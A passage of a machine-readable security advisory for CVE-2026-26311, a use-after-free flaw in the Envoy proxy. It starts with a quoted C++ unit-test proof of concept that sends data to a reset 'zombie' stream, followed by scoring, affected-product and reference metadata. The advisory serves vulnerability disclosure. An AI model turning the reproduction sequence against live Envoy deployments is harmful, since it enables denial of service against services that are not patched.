 setup(SetupOpts().setTracing(false));\n\n  // 1. Setup a mock filter\n  std::shared_ptr<MockStreamDecoderFilter> filter(new NiceMock<MockStreamDecoderFilter>());\n   \n  // Vuln confirmation:\n  // We expect decodeData to be called on this filter even though the stream is reset.\n  // In a secure/patched implementation, this EXPECT_CALL should fail (Times(0)).\n  EXPECT_CALL(*filter, decodeData(_, _))\n      .Times(1)\n      .WillOnce(Invoke([&](Buffer::Instance&, bool) -> FilterDataStatus {\n          ENVOY_LOG_MISC(error, \"!!! VULNERABILITY REPRODUCED: decodeData called on a reset stream !!!\");\n          return FilterDataStatus::Continue;\n      }));\n\n  EXPECT_CALL(*filter, decodeHeaders(_, false))\n      .WillOnce(Return(FilterHeadersStatus::StopIteration));\n\n  // Register the filter\n  EXPECT_CALL(filter_factory_, createFilterChain(_))\n      .WillOnce(Invoke([&](FilterChainFactoryCallbacks& callbacks) -> bool {\n        auto factory = createDecoderFilterFactoryCb(filter);\n        callbacks.setFilterConfigName(\"vulnerable_filter\");\n        factory(callbacks);\n        return true;\n      }));\n\n  // 2. Start the stream\n  EXPECT_CALL(*codec_, dispatch(_))\n      .WillOnce(Invoke([&](Buffer::Instance&) -> Http::Status {\n        decoder_ = &conn_manager_->newStream(response_encoder_);\n        RequestHeaderMapPtr headers{new TestRequestHeaderMapImpl{\n            {\":authority\", \"host\"}, {\":path\", \"/\"}, {\":method\", \"POST\"}}};\n        decoder_->decodeHeaders(std::move(headers), false);\n        return Http::okStatus();\n      }));\n\n  // Dispatch headers\n  Buffer::OwnedImpl header_buffer(\"headers\");\n  conn_manager_->onData(header_buffer, false);\n\n  // 3. Trigger a Reset on the ActiveStream\n  // This simulates Envoy terminating the stream due to an external event (Overload, Timeout).\n  auto* active_stream = dynamic_cast<ConnectionManagerImpl::ActiveStream*>(decoder_);\n  \n  // This sets state_.saw_downstream_reset_ = true and triggers filter->onDestroy()\n  active_stream->onResetStream(StreamResetReason::LocalReset, \"simulated_overload\");\n\n  // 4. Attack: Send DATA to the \"Zombie\" stream\n  // The ActiveStream object is still alive in the deferred delete list.\n  Buffer::OwnedImpl malicious_payload(\"attacker_data\");\n   \n  // This call reaches the filter because FilterManager::decodeData misses the check!\n  active_stream->decodeData(malicious_payload, false);\n}\n\n} // namespace Http\n} // namespace Envoy\n```",
                    "title": "github - https://api.github.com/advisories/GHSA-84xm-r438-86px"
                },
                {
                    "category": "other",
                    "text": "0.00014",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "4.5",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "Is related to CWE-416 (Use After Free), There is product data available from source Certbundde",
                    "title": "NCSC Score top increasing factors"
                },
                {
                    "category": "other",
                    "text": "There is exploit data available from source Nvd, Is related to (a version of) an uncommon product, There is cwe data available from source Nvd, The value of the most recent EPSS score",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5777007",
                    "CSAFPID-5777008",
                    "CSAFPID-5777009",
                    "CSAFPID-5777010",
                    "CSAFPID-5780406",
                    "CSAFPID-5780407",
                    "CSAFPID-5780408",
                    "CSAFPID-5780409",
                    "CSAFPID-5795752",
                    "CSAFPID-5810304",
                    "CSAFPID-5810305",
                    "CSAFPID-5810306",
                    "CSAFPID-5810307",
                    "CSAFPID-5810308",
                    "CSAFPID-1317175"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-84xm-r438-86px"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-84xm-r438-86px"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-26311"
                },
                {
                    "category": "external",
                    "summary": "Source raw - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/26xxx/CVE-2026-26311.json"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26311"
                },
                {
                    "category": "external",
                    "summary": "Source raw - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-26311"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-84xm-r438-86px.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-26311"
                },
                {
                    "category": "external",
                    "summary": "Source raw - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - certbundde",
                    "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-0704.json"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-84xm-r438-86px"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/envoyproxy/envoy/security/advisories/GHSA-84xm-r438-86px"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-84xm-r438-86px"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26311"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-0704.json"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-0704"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://docs.cloud.google.com/support/bulletins#gcp-2026-013"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://docs.cloud.google.com/service-mesh/docs/security-bulletins#gcp-2026-013"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://access.redhat.com/errata/RHSA-2026:5952"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://access.redhat.com/errata/RHSA-2026:5950"
                },
                {
                    "category": "external",
                    "summary": "Reference - certbundde",
                    "url": "https://access.redhat.com/errata/RHSA-2026:5948"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
                        "baseScore": 5.9,
                        "baseSeverity": "MEDIUM"
                    },
                    "products": [
                        "CSAFPID-1317175",
                        "CSAFPID-5777007",
                        "CSAFPID-5777008",
                        "CSAFPID-5777009",
                        "CSAFPID-5777010",
                        "CSAFPID-5780406",
                        "CSAFPID-5780407",
                        "CSAFPID-5780408",
                        "CSAFPID-5780409",
                        "CSAFPID-5795752",
                        "CSAFPID-5810304",
                        "CSAFPID-5810305",
                        "CSAFPID-5810306",
                        "CSAFPID-5810307",
                        "CSAFPID-5810308"
                    ]
                }
            ],
            "title": "CVE-2026-26311"
        }
    ]
}